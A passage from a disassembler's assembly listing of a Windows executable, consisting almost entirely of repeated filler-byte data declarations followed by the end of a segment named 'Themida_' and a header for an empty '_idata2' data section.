'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ' db 'ΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜΜ',0 align 4 dd 144h dup(0) db 2 dup(0) word_616C4E dw 0 ; DATA XREF: ___:off_4452F4o align 400h Themida_ ends ; Section 5. (virtual address 00217000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00217000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 617000h align 2000h _idata2 ends end start